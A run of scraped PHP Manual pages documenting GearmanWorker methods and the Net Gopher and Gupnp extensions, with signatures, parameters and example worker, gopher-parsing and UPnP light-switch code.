
There are no user contributed notes for this page.
GearmanWorker::echo
GearmanWorker::getErrno
GearmanWorker


Get errno

GearmanWorker::error
GearmanWorker::options
GearmanWorker
PHP Manual

GearmanWorker::getErrno

(PECL gearman >= 0.5.0)

GearmanWorker::getErrno — Get errno

Description

public int GearmanWorker::getErrno ( void )

Returns the value of errno in the case of a GEARMAN_ERRNO return value.

Parameters

This function has no parameters.

Return Values

A valid errno.

See Also

  • GearmanWorker::error() - Get the last error encountered

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::error
GearmanWorker::options
GearmanWorker


Get worker options

GearmanWorker::getErrno
GearmanWorker::register
GearmanWorker
PHP Manual

GearmanWorker::options

(PECL gearman >= 0.6.0)

GearmanWorker::options — Get worker options

Description

public int GearmanWorker::options ( void )

Gets the options previously set for the worker.

Parameters

This function has no parameters.

Return Values

The options currently set for the worker.

See Also

  • GearmanWorker::setOptions() - Set worker options

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::getErrno
GearmanWorker::register
GearmanWorker


Register a function with the job server

GearmanWorker::options
GearmanWorker::removeOptions
GearmanWorker
PHP Manual

GearmanWorker::register

(PECL gearman >= 0.6.0)

GearmanWorker::register — Register a function with the job server

Description

public bool GearmanWorker::register ( string $function_name [, int $timeout ] )

Registers a function name with the job server with an optional timeout. The timeout specifies how many seconds the server will wait before marking a job as failed. If the timeout is set to zero, there is no timeout.

Parameters

function_name

The name of a function to register with the job server

timeout

An interval of time in seconds

Return Values

A standard Gearman return value.

See Also

  • GearmanWorker::unregister() - Unregister a function name with the job servers
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::options
GearmanWorker::removeOptions
GearmanWorker


Remove worker options

GearmanWorker::register
GearmanWorker::returnCode
GearmanWorker
PHP Manual

GearmanWorker::removeOptions

(PECL gearman >= 0.6.0)

GearmanWorker::removeOptions — Remove worker options

Description

public bool GearmanWorker::removeOptions ( int $option )

Removes (unsets) one or more worker options.

Parameters

option

The options to be removed (unset)

Return Values

Always returns TRUE.

See Also

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::setOptions() - Set worker options
  • GearmanWorker::addOptions() - Add worker options

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::register
GearmanWorker::returnCode
GearmanWorker


Get last Gearman return code

GearmanWorker::removeOptions
GearmanWorker::setOptions
GearmanWorker
PHP Manual

GearmanWorker::returnCode

(PECL gearman >= 0.5.0)

GearmanWorker::returnCode — Get last Gearman return code

Description

public int GearmanWorker::returnCode ( void )

Returns the last Gearman return code.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

See Also

  • GearmanWorker::error() - Get the last error encountered
  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::removeOptions
GearmanWorker::setOptions
GearmanWorker


Set worker options

GearmanWorker::returnCode
GearmanWorker::setTimeout
GearmanWorker
PHP Manual

GearmanWorker::setOptions

(PECL gearman >= 0.5.0)

GearmanWorker::setOptions — Set worker options

Description

public bool GearmanWorker::setOptions ( int $option )

Sets one or more options to the supplied value.

Parameters

option

The options to be set

Return Values

Always returns TRUE.

See Also

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::addOptions() - Add worker options
  • GearmanWorker::removeOptions() - Remove worker options
  • GearmanClient::setOptions() - Set client options

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::returnCode
GearmanWorker::setTimeout
GearmanWorker


Set socket I/O activity timeout

GearmanWorker::setOptions
GearmanWorker::timeout
GearmanWorker
PHP Manual

GearmanWorker::setTimeout

(PECL gearman >= 0.6.0)

GearmanWorker::setTimeout — Set socket I/O activity timeout

Description

public bool GearmanWorker::setTimeout ( int $timeout )

Sets the interval of time to wait for socket I/O activity.

Parameters

timeout

An interval of time in milliseconds. A negative value indicates an infinite timeout.

Return Values

Always returns TRUE.

Examples

Example #1 A simple worker with a 5 second timeout

<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

# Set the timeout to 5 seconds
$gmworker->setTimeout(5000);

echo "Waiting for job...\n";
while(@$gmworker->work() || $gmworker->returnCode() == GEARMAN_TIMEOUT)
{
  if ($gmworker->returnCode() == GEARMAN_TIMEOUT)
  {
    # Normally one would want to do something useful here ...
    echo "Timeout. Waiting for next job...\n";
    continue;
  }

  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

echo "Done\n";

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

Running the worker with no submitted jobs will generate output that looks like the following:

Starting
Waiting for job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...

See Also

  • GearmanWorker::timeout() - Get socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::setOptions
GearmanWorker::timeout
GearmanWorker


Get socket I/O activity timeout

GearmanWorker::setTimeout
GearmanWorker::unregister
GearmanWorker
PHP Manual

GearmanWorker::timeout

(PECL gearman >= 0.6.0)

GearmanWorker::timeout — Get socket I/O activity timeout

Description

public int GearmanWorker::timeout ( void )

Returns the current time to wait, in milliseconds, for socket I/O activity.

Parameters

This function has no parameters.

Return Values

A time period is milliseconds. A negative value indicates an infinite timeout.

See Also

  • GearmanWorker::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::setTimeout
GearmanWorker::unregister
GearmanWorker


Unregister a function name with the job servers

GearmanWorker::timeout
GearmanWorker::unregisterAll
GearmanWorker
PHP Manual

GearmanWorker::unregister

(PECL gearman >= 0.6.0)

GearmanWorker::unregister — Unregister a function name with the job servers

Description

public bool GearmanWorker::unregister ( string $function_name )

Unregisters a function name with the job servers ensuring that no more jobs (for that function) are sent to this worker.

Parameters

function_name

The name of a function to register with the job server

Return Values

A standard Gearman return value.

See Also

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::timeout
GearmanWorker::unregisterAll
GearmanWorker


Unregister all function names with the job servers

GearmanWorker::unregister
GearmanWorker::wait
GearmanWorker
PHP Manual

GearmanWorker::unregisterAll

(PECL gearman >= 0.6.0)

GearmanWorker::unregisterAll — Unregister all function names with the job servers

Description

public bool GearmanWorker::unregisterAll ( void )

Unregisters all previously registered functions, ensuring that no more jobs are sent to this worker.

Parameters

This function has no parameters.

Return Values

A standard Gearman return value.

See Also

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregister() - Unregister a function name with the job servers

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::unregister
GearmanWorker::wait
GearmanWorker


Wait for activity from one of the job servers

GearmanWorker::unregisterAll
GearmanWorker::work
GearmanWorker
PHP Manual

GearmanWorker::wait

(PECL gearman >= 0.6.0)

GearmanWorker::wait — Wait for activity from one of the job servers

Description

public bool GearmanWorker::wait ( void )

Causes the worker to wait for activity from one of the Gearman job servers when operating in non-blocking I/O mode. On failure, issues a E_WARNING with the last Gearman error encountered.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Running worker in non-blocking mode

<?php

echo "Starting\n";

# Create our worker object
$worker= new GearmanWorker();

# Make the worker non-blocking
$worker->addOptions(GEARMAN_WORKER_NON_BLOCKING);

# Add the default server (localhost, port 4730)
$worker->addServer();

# Add our reverse function
$worker->addFunction('reverse', 'reverse_fn');

# Try to grab a job
while (@$worker->work() ||
       $worker->returnCode() == GEARMAN_IO_WAIT ||
       $worker->returnCode() == GEARMAN_NO_JOBS)
{
  if ($worker->returnCode() == GEARMAN_SUCCESS)
    continue;

  echo "Waiting for next job...\n";
  if (!@$worker->wait())
  {
    if ($worker->returnCode() == GEARMAN_NO_ACTIVE_FDS)
    {
      # We are not connected to any servers, so wait a bit before
      # trying to reconnect.
      sleep(5);
      continue;
    }
    break;
  }
}

echo "Worker Error: " . $worker->error() . "\n";

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

See Also

  • GearmanWorker::work() - Wait for and perform jobs

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::unregisterAll
GearmanWorker::work
GearmanWorker


Wait for and perform jobs

GearmanWorker::wait
Gopher
GearmanWorker
PHP Manual

GearmanWorker::work

(PECL gearman >= 0.5.0)

GearmanWorker::work — Wait for and perform jobs

Description

public bool GearmanWorker::work ( void )

Waits for a job to be assigned and then calls the appropriate callback function. Issues an E_WARNING with the last Gearman error if the return code is not one of GEARMAN_SUCCESS, GEARMAN_IO_WAIT, or GEARMAN_WORK_FAIL.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 GearmanWorker::work() example

<?php

# create the worker
$worker = new GearmanWorker();

# add the default job server (localhost)
$worker->addServer();

# add the reverse function
$worker->addFunction("reverse", "my_reverse_function");

# start te worker listening for job submissions
while ($worker->work());

function my_reverse_function($job)
{
  return strrev($job->workload());
}

?>

See Also

  • GearmanWorker::addFunction() - Register and add callback function

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::wait
Gopher
GearmanWorker


Net Gopher

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic Example
  • Gopher Functions
    • gopher_parsedir — Translate a gopher formatted directory entry into an associative array.

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::work
Introduction
Other Services


Introduction

The gopher protocol, as defined by » RFC 1436, is generally considered the ancestor of the modern HTTP protocol. However, gopher was also intended to provide references to non-gopher resources including telnet, wais, nntp, and even http. This extension adds gopher support to PHP's URL Wrappers, and provides a helper function gopher_parsedir() to make sense of gopher formatted directory listings.

User Contributed Notes

There are no user contributed notes for this page.
Gopher
Installing/Configuring
Gopher


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Gopher


Installation

Prerequisite: PHP 4.3.0 or higher.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/net_gopher

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Net_Gopher constants
Constant | Value | Description
GOPHER_DOCUMENT | 0 | Standard text/plain document.
GOPHER_DIRECTORY | 1 | A resource containing a gopher formatted directory listing.
GOPHER_BINHEX | 4 | A BinHex encoded binary file.
GOPHER_DOSBINARY | 5 | A DOS formatted binary archive.
GOPHER_UUENCODED | 6 | A UUEncoded file.
GOPHER_BINARY | 9 | A generic binary file.
GOPHER_INFO | 255 | An Informational entry
GOPHER_HTTP | 254 | A reference to an HTTP resource.
GOPHER_UNKNOWN | -1 | An unrecognized entry.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Gopher


Examples

Table of Contents

  • Basic Example

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic Example
Gopher


Basic Example

<?php
readfile("gopher://gopher.example.com/somedocument");
?>

User Contributed Notes

majareq at kezarth dot net 23-Sep-2009 05:32
To read Gopher Reference Material Repository:

<?php
readfile("gopher://home.jumpjet.info/11%5CBegin_Here%5CReferences");
?>
Examples
Gopher Functions
Examples


Gopher Functions

Table of Contents

  • gopher_parsedir — Translate a gopher formatted directory entry into an associative array.

User Contributed Notes

There are no user contributed notes for this page.
Basic Example
gopher_parsedir
Gopher


Translate a gopher formatted directory entry into an associative array.

Gopher Functions
Gupnp
Gopher Functions
PHP Manual

gopher_parsedir

(PECL net_gopher >= 0.1)

gopher_parsedir — Translate a gopher formatted directory entry into an associative array.

Description

array gopher_parsedir ( string $dirent )

gopher_parsedir() parses a gopher formatted directory entry into an associative array.

While gopher returns text/plain documents for actual document requests. A request to a directory (such as /) will return specially encoded series of lines with each line being one directory entry or information line.

Parameters

dirent

The directory entry.

Return Values

Returns an associative array whose components are:

  • type - One of the GOPHER_XXX constants.
  • title - The name of the resource.
  • path - The path of the resource.
  • host - The domain name of the host that has this document (or directory).
  • port - The port at which to connect on host.

Upon failure, the additional data entry of the returned array will hold the parsed line.

Examples

Example #1 Hypothetical output from gopher://gopher.example.com/

0All about my gopher site.               /allabout.txt               gopher.example.com    70
9A picture of my cat.                    /pics/cat.png               gopher.example.com    70
1A collection of my writings.            /stories                    gopher.example.com    70
hThe HTTP version of this site.          URL:http://www.example.com  gopher.example.com    70
1Mirror of this site in Spain.           /                           gopher.ejemplo.co.es  70
iWelcome to my gopher site.                                          error.host            1
iPlease select one of the options above                              error.host            1
iSend complaints to /dev/null                                        error.host            1
iLong live gopher!                                                   error.host            1

In the example above, the root directory at gopher.example.com knows about one DOCUMENT identified by 0 located at gopher://gopher.example.com:70/allabout.txt. It also knows about two other directory (which have their own listing files) at gopher://gopher.exmaple.com:70/stories and at gopher://gopher.ejemplo.co.es:70/. In addition there is a binary file, a link to an HTTP url, and several informative lines.

By passing each line of the directory listing into gopher_parsedir(), an associative array is formed containing a parsed out version of the data.

Example #2 Using gopher_parsedir()

<?php
$directory = file("gopher://gopher.example.com");

foreach($directory as $dirent) {
    print_r(gopher_parsedir($dirent));
}
?>

The above example will output:

Array (
  [type] => 0
  [title] => All about my gopher site.
  [path] => /allabout.txt
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 9
  [title] => A picture of my cat.
  [path] => /pics/cat.png
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 1
  [title] => A collection of my writings.
  [path] => /stories
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 254
  [title] => The HTTP version of this site.
  [path] => URL:http://www.example.com
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 1
  [title] => Mirror of this site in Spain.
  [path] => /
  [host] => gopher.ejemplo.co.es
  [port] => 70
)
Array (
  [type] => 255
  [title] => Welcome to my gopher site.
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Please select one of the options above.
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Send complaints to /dev/null
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Long live gopher!
  [path] =>
  [host] => error.host
  [port] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
Gopher Functions
Gupnp
Gopher Functions


Gupnp

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Browsing devices and services
    • Implementing the BinaryLight device
  • Gupnp Functions
    • gupnp_context_get_host_ip — Get the IP address
    • gupnp_context_get_port — Get the port
    • gupnp_context_get_subscription_timeout — Get the event subscription timeout
    • gupnp_context_host_path — Start hosting
    • gupnp_context_new — Create a new context
    • gupnp_context_set_subscription_timeout — Sets the event subscription timeout
    • gupnp_context_timeout_add — Sets a function to be called at regular intervals
    • gupnp_context_unhost_path — Stop hosting
    • gupnp_control_point_browse_start — Start browsing
    • gupnp_control_point_browse_stop — Stop browsing
    • gupnp_control_point_callback_set — Set control point callback
    • gupnp_control_point_new — Create a new control point
    • gupnp_device_action_callback_set — Set device callback function
    • gupnp_device_info_get_service — Get the service with type
    • gupnp_device_info_get — Get info of root device
    • gupnp_root_device_get_available — Check whether root device is available
    • gupnp_root_device_get_relative_location — Get the relative location of root device.
    • gupnp_root_device_new — Create a new root device
    • gupnp_root_device_set_available — Set whether or not root_device is available
    • gupnp_root_device_start — Start main loop
    • gupnp_root_device_stop — Stop main loop
    • gupnp_service_action_get — Retrieves the specified action arguments
    • gupnp_service_action_return_error — Return error code
    • gupnp_service_action_return — Return succesfully
    • gupnp_service_action_set — Sets the specified action return values
    • gupnp_service_freeze_notify — Freeze new notifications
    • gupnp_service_info_get_introspection — Get resource introspection of service
    • gupnp_service_info_get — Get full info of service
    • gupnp_service_introspection_get_state_variable — Returns the state variable data
    • gupnp_service_notify — Notifies listening clients
    • gupnp_service_proxy_action_get — Send action to the service and get value
    • gupnp_service_proxy_action_set — Send action to the service and set value
    • gupnp_service_proxy_add_notify — Sets up callback for variable change notification
    • gupnp_service_proxy_callback_set — Set service proxy callback for signal
    • gupnp_service_proxy_get_subscribed — Check whether subscription is valid to the service
    • gupnp_service_proxy_remove_notify — Cancels the variable change notification
    • gupnp_service_proxy_send_action — Send action with multiple parameters synchronously
    • gupnp_service_proxy_set_subscribed — (Un)subscribes to the service.
    • gupnp_service_thaw_notify — Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.
gopher_parsedir
Introduction
Other Services


Introduction

GUPnP is an object-oriented open source framework for creating UPnP devices and control points, written in C using GObject and libsoup. This extension wraps GUPnP and provides similar API. All sources and additional documentation can be obtained from the » official site

User Contributed Notes

There are no user contributed notes for this page.
Gupnp
Installing/Configuring
Gupnp


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Gupnp


Requirements

In order to use PECL/Gupnp functions you need to install the » gUPnP library version 0.12.7 or greater. It also requires glib-2.0, gssdp-1.0, libsoup-2.4 or greater for all of them.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gupnp

Note: If ./configure is having trouble finding the libgupnp files (for example, it was installed into a custom prefix directory), use ./configure --with-gupnp=$PREFIX, where $PREFIX is installation prefix of libgupnp.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GUPNP_TYPE_BOOLEAN (integer)
GUPNP_TYPE_INT (integer)
GUPNP_TYPE_LONG (integer)
GUPNP_TYPE_DOUBLE (integer)
GUPNP_TYPE_FLOAT (integer)
GUPNP_TYPE_STRING (integer)
GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE (integer)
GUPNP_SIGNAL_DEVICE_PROXY_UNAVAILABLE (integer)
GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE (integer)
GUPNP_SIGNAL_SERVICE_PROXY_UNAVAILABLE (integer)
GUPNP_SIGNAL_ACTION_INVOKED (integer)
GUPNP_SIGNAL_NOTIFY_FAILED (integer)
GUPNP_SIGNAL_SUBSCRIPTION_LOST (integer)
GUPNP_CONTROL_ERROR_INVALID_ACTION (integer)
GUPNP_CONTROL_ERROR_INVALID_ARGS (integer)
GUPNP_CONTROL_ERROR_OUT_OF_SYNC (integer)
GUPNP_CONTROL_ERROR_ACTION_FAILED (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Gupnp


Examples

Table of Contents

  • Browsing devices and services
  • Implementing the BinaryLight device

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Browsing devices and services
Gupnp


Browsing devices and services

This example shows how to obtain information about all devices and services. It starts an infinite loop (use CLI), and if any of available devices or services are found, the proper callback function will be invoked.

Example #1 Search for all UPnP devices and services.

<?php

/* Callback for available device */
function device_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_device_info_get($proxy);

    $type = $info['device_type'];
    $location = $info['location'];

    printf("Device available:\n");
    printf("\ttype:     %s\n", $type);
    printf("\tlocation: %s\n", $location);
}

/* Callback for available service */
function service_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_service_info_get($proxy);

    $type = $info['service_type'];
    $location = $info['location'];

    printf("Service available:\n");
    printf("\ttype:     %s\n", $type);
    printf("\tlocation: %s\n", $location);
}

/* Create the UPnP context */
$context = gupnp_context_new();
if (!$context) {
    printf("Error creating the GUPnP context\n");
    exit(-1);
}

/* We're interested in everything */
$cp = gupnp_control_point_new($context, "ssdp:all");

/* Set callbacks */
gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE, 'device_proxy_available_cb');
gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE, 'service_proxy_available_cb');

/* Start for browsing (infinite loop, hit Ctrl-C to interrupt) */
gupnp_control_point_browse_start($cp);

?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Implementing the BinaryLight device
Examples


Implementing the BinaryLight device

This is an example of UPnP device/service, implementing the BinaryLight device and SwitchPower services to emulate a light switch.

The user interface was purposely simplified in order to show basic concepts and methods.

Example #1 Implementing light server

<?php

/* SetTarget */
function set_target_cb($service, $action, $arg)
{
    /* Get the new target value */
    $target = gupnp_service_action_get($action, 'NewTargetValue', GUPNP_TYPE_BOOLEAN);

    /* If the new target doesn't match the current status, change the status and
       emit a notification that the status has changed. */
    if ($target != $GLOBALS['status']) {
        $GLOBALS['status'] = $target;
        gupnp_service_notify($service, 'Status', GUPNP_TYPE_BOOLEAN, $GLOBALS['status']);
        printf("The light is now %s.\n", $GLOBALS['status'] ? "on" : "off");
    }

    /* Return success to the client */
    gupnp_service_action_return($action);
}

/* GetTarget */
function get_target_cb($service, $action, $arg)
{
    gupnp_service_action_set($action, 'RetTargetValue', GUPNP_TYPE_BOOLEAN, $GLOBALS['status']);
    gupnp_service_action_return($action);
}

/* GetStatus */
function get_status_cb($service, $action, $arg)
{
    gupnp_service_action_set($action, 'ResultStatus', GUPNP_TYPE_BOOLEAN, $GLOBALS['status']);
    gupnp_service_action_return($action);
}

/* By default the light is off */
$GLOBALS['status'] = false;
printf("The light is now %s.\n", $GLOBALS['status'] ? "on" : "off");

/* Create the UPnP context */
$context = gupnp_context_new();
if (!$context) {
    printf("Error creating the GUPnP context\n");
    exit(-1);
}

/* Host the directory that contains device and service description files */
gupnp_context_host_path($context, "./web", "");

/* Create root device */
$location = "/BinaryLight.xml";
$dev = gupnp_root_device_new($context, $location);
gupnp_root_device_set_available($dev, true);

/* Get the switch service from the root device */
$service_type = "urn:schemas-upnp-org:service:SwitchPower:1";
$service = gupnp_device_info_get_service($dev, $service_type);
if (!$service) {
    die("Cannot get SwitchPower1 service\n");
}

/* Set callback for action GetStatus */
gupnp_device_action_callback_set($service, GUPNP_SIGNAL_ACTION_INVOKED, "GetStatus",
    "get_status_cb", "action data, GetStatus");

/* Set callback for action GetTarget */
gupnp_device_action_callback_set($service, GUPNP_SIGNAL_ACTION_INVOKED, "GetTarget",
    "get_target_cb", "action data, GetTarget");

/* Set callback for action SetTarget */
gupnp_device_action_callback_set($service, GUPNP_SIGNAL_ACTION_INVOKED, "SetTarget",
    "set_target_cb", "action data, SetTarget");

/* Run the main loop */
gupnp_root_device_start($dev);

?>

Example #2 Implementing light client

<?php

function service_proxy_available_cb($proxy, $arg)
{
    $mode = $arg['mode'];

    printf("Set subscribed\n");
    gupnp_service_proxy_set_subscribed($proxy, true);

    /* Add notify if status will be changed */
    if (!gupnp_service_proxy_add_notify($proxy, "Status",
            GUPNP_TYPE_BOOLEAN, "status_changed_cb", NULL)) {
        printf("Failed to add notify\n");
    }

    if ($mode == 'TOGGLE') {
        /* We're toggling, so first fetch the current status */
        $target = gupnp_service_proxy_action_get($proxy, 'GetStatus', 'ResultStatus', GUPNP_TYPE_BOOLEAN);

        /* And then toggle it */
        $target = ! $target;
    } else {
        /* Mode is a boolean, so the target is the mode thanks to our well chosen
           enumeration values. */
        $target = ($mode == 'ON') ? true : false;
    }

    /* Set the target */
    if (!gupnp_service_proxy_action_set($proxy, 'SetTarget', 'NewTargetValue', $target, GUPNP_TYPE_BOOLEAN)) {
        printf("Cannot set switch\n");
    } else {
        printf("Set switch to %s.\n", $target ? "on" : "off");
    }

    /* Stop browsing */
    gupnp_control_point_browse_stop($arg['cp']);
}

function status_changed_cb($variable, $value, $arg)
{
    printf("Status has been changed\n");
    printf("\tvariable name: %s\n", $variable);
    printf("\tvalue: %s\n", (int)$value);
    printf("\n");
}

/* Check and parse command line arguments */
if (count($argv) != 2) {
    printf("Usage: light-client.php [on|off|toggle]\n");
    exit(-1);
}

if ($argv[1] == "on") {
    $mode = 'ON';
} elseif ($argv[1] == "off") {
    $mode = 'OFF';
} elseif ($argv[1] == "toggle") {
    $mode = 'TOGGLE';
} else {
    usage ();
    exit(-1);
}

/* Create the UPnP context */
$context = gupnp_context_new();
if (!$context) {
    printf("Error creating the GUPnP context\n");
    exit(-1);
}

/* Create the control point, searching for SwitchPower services */
$cp = gupnp_control_point_new ($context,
        "urn:schemas-upnp-org:service:SwitchPower:1");

/* Connect to the service-found callback */
$cb = "service_proxy_available_cb";
$arg = array('mode' => $mode, 'cp' => $cp);
gupnp_control_point_callback_set($cp, GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE, $cb, $arg);

/* Start for browsing */
gupnp_control_point_browse_start($cp);

?>

User Contributed Notes

There are no user contributed notes for this page.
Browsing devices and services
Gupnp Functions
Examples


Gupnp Functions

Table of Contents

  • gupnp_context_get_host_ip — Get the IP address
  • gupnp_context_get_port — Get the port
  • gupnp_context_get_subscription_timeout — Get the event subscription timeout
  • gupnp_context_host_path — Start hosting
  • gupnp_context_new — Create a new context
  • gupnp_context_set_subscription_timeout — Sets the event subscription timeout
  • gupnp_context_timeout_add — Sets a function to be called at regular intervals
  • gupnp_context_unhost_path — Stop hosting
  • gupnp_control_point_browse_start — Start browsing
  • gupnp_control_point_browse_stop — Stop browsing
  • gupnp_control_point_callback_set — Set control point callback
  • gupnp_control_point_new — Create a new control point
  • gupnp_device_action_callback_set — Set device callback function
  • gupnp_device_info_get_service — Get the service with type
  • gupnp_device_info_get — Get info of root device
  • gupnp_root_device_get_available — Check whether root device is available
  • gupnp_root_device_get_relative_location — Get the relative location of root device.
  • gupnp_root_device_new — Create a new root device
  • gupnp_root_device_set_available — Set whether or not root_device is available
  • gupnp_root_device_start — Start main loop
  • gupnp_root_device_stop — Stop main loop
  • gupnp_service_action_get — Retrieves the specified action arguments
  • gupnp_service_action_return_error — Return error code
  • gupnp_service_action_return — Return succesfully
  • gupnp_service_action_set — Sets the specified action return values
  • gupnp_service_freeze_notify — Freeze new notifications
  • gupnp_service_info_get_introspection — Get resource introspection of service
  • gupnp_service_info_get — Get full info of service
  • gupnp_service_introspection_get_state_variable — Returns the state variable data
  • gupnp_service_notify — Notifies listening clients
  • gupnp_service_proxy_action_get — Send action to the service and get value
  • gupnp_service_proxy_action_set — Send action to the service and set value
  • gupnp_service_proxy_add_notify — Sets up callback for variable change notification
  • gupnp_service_proxy_callback_set — Set service proxy callback for signal
  • gupnp_service_proxy_get_subscribed — Check whether subscription is valid to the service
  • gupnp_service_proxy_remove_notify — Cancels the variable change notification
  • gupnp_service_proxy_send_action — Send action with multiple parameters synchronously
  • gupnp_service_proxy_set_subscribed — (Un)subscribes to the service.
  • gupnp_service_thaw_notify — Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.
Implementing the BinaryLight device
gupnp_context_get_host_ip
Gupnp


Get the IP address

Gupnp Functions
gupnp_context_get_port
Gupnp Functions
PHP Manual

gupnp_context_get_host_ip

(PECL gupnp >= 0.1.0)

gupnp_context_get_host_ip — Get the IP address

Description

string gupnp_context_get_host_ip ( resource $context )

Get the IP address we advertise ourselves as using.

Parameters

context

A context identifier, returned by gupnp_context_new().

Return Values

Returns the IP address for the current context and FALSE on error.

Examples

Example #1 Create new UPnP context and get IP address of the host

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Get IP address for the UPnP context */
$ip = gupnp_context_get_host_ip($context);
echo $ip;

?>

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_get_port() - Get the port

User Contributed Notes

There are no user contributed notes for this page.
Gupnp Functions
gupnp_context_get_port
Gupnp Functions


Get the port

gupnp_context_get_host_ip
gupnp_context_get_subscription_timeout
Gupnp Functions
PHP Manual

gupnp_context_get_port

(PECL gupnp >= 0.1.0)

gupnp_context_get_port — Get the port

Description

int gupnp_context_get_port ( resource $context )

Get the port that the SOAP server is running on.

Parameters

context

A context identifier, returned by gupnp_context_new().

Return Values

Returns the port number for the current context and FALSE on error.

Examples

Example #1 Create new UPnP context and get port number

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Get the port number for the UPnP context */
$port = gupnp_context_get_port($context);
echo $port;

?>

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_get_host_ip() - Get the IP address

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_get_host_ip
gupnp_context_get_subscription_timeout
Gupnp Functions


Get the event subscription timeout

gupnp_context_get_port
gupnp_context_host_path
Gupnp Functions
PHP Manual

gupnp_context_get_subscription_timeout

(PECL gupnp >= 0.1.0)

gupnp_context_get_subscription_timeout — Get the event subscription timeout

Description

int gupnp_context_get_subscription_timeout ( resource $context )

Get the event subscription timeout (in seconds), or 0 meaning there is no timeout.

Parameters

context

A context identifier, returned by gupnp_context_new().

Return Values

The event subscription timeout in seconds.

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_set_subscription_timeout() - Sets the event subscription timeout

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_get_port
gupnp_context_host_path
Gupnp Functions


Start hosting

gupnp_context_get_subscription_timeout
gupnp_context_new
Gupnp Functions
PHP Manual

gupnp_context_host_path

